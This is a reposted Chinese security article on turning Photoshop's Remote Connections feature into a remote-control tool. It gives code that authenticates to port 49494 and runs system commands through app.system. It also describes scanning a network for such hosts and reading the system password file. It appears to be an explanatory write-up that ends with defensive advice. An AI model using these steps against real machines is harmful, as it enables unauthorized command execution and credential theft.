首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何把Photoshop改造成远程控制工具(RAT)来利用

如何把Photoshop改造成远程控制工具(RAT)来利用

作者头像
FB客服
发布2018-02-28 17:30:30
1.9K0
发布2018-02-28 17:30:30
举报
文章被收录于专栏:FreeBufFreeBuf

作者在本文中通过对Photoshop远程连接功能的改造利用,最终实现了对开启远程连接功能的Photoshop端操作系统的接管控制。

Photoshop远程连接功能说明

Photoshop中有一个名为远程连接(Remote Connections)的可选功能,该功能默认是关闭的,但如果你启用该功能并设置密码后,任何知晓密码的人就可以远程接入到你电脑的Photoshop服务端。如下开启画面:

正常用户利用该功能,来实时预览不同PS文件在iPad或手机等远程设备上的实际设计外观样式,该远程预览功能需要手机等移动终端安装如PS Playon和Skala Preview等第三方APP来实现连接。如Skala Preview:

该远程连接功能基于Photoshop的JSX脚本实例。JSX属Photoshop的宏脚本,由Javascript语言编写,以实现Photoshop的图片加载、颜色渲染、矢量绘制和导出等功能,可点此查看JSX的相关编写规范和可用接口。

另外,Adobe提供了一个开源库内核生成器来建立该远程连接,所以如果您对其中的协议细节有兴趣,也可点此查看。当开启远程连接后,Photoshop将会对49494端口进行监听:

$ netstat -an | grep 49494
tcp4 0 0 *.49494 *.* LISTEN

以下代码为与远程Photoshop服务端用来进行身份验证交互的代码:

const core = require("generator-core/lib/generator")
const options = {
    host: '192.168.1.123',
    password: 'password',
    port: 49494
}
const generator = core.createGenerator()
generator.start(options).done(() => {
    generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown())
})

对此,我曾尝试利用以下app.system方法来调用系统命令:

alert(app.system(“id”))

但遗憾的是其返回值却是一些退出状态码,不是标准的命令输出内容。经过研究,我发现Photoshop的JSX脚本具备系统访问接口,所以,这样一来,我们可以把其标准输出内容(stdout)重定向到一个临时文件中,之后,就可以对该文件进行读取。如下所示:

var tmpFile = Folder.temp + 'output.txt';
app.system("id > " + tmpFile);
var stdout = new File(${tmpFile});
stdout.open('r');
stdout.encoding = "UTF-8";
var content = stdout.read();
stdout.close();
stdout.remove();
alert(content);

Photoshop RAT 改造成型

因此,我可以在上述身份验证代码中作出如下修改,通过用户名密码方式登录远程Photoshop服务端,之后,再利用JSX脚本接口间接执行Photoshop服务端系统命令,实现对远程Photoshop服务端系统的直接接管控制。以下为exploit代码:

exploit.js:

成功利用后,读取远程Photoshop服务端操作系统密码:

影响分析

在内网中,你可以通过49494端口扫描或组播DNS”_photoshopserver.tcp”抓包来探测一些开启远程连接功能的Photoshop服务端,之后利用以上exploit.js进行把玩。

该功能的此种RAT方式利用,前提必须知晓对方Photoshop服务远程连接密码,因此并不属于漏洞范畴。基于此,请谨慎开启你的Photoshop远程连接功能,或严格保存你的Photoshop远程连接密码,否则,你的操作系统有可能被不怀好意之人远程控制。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Photoshop远程连接功能说明
  • Photoshop RAT 改造成型
  • 影响分析
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档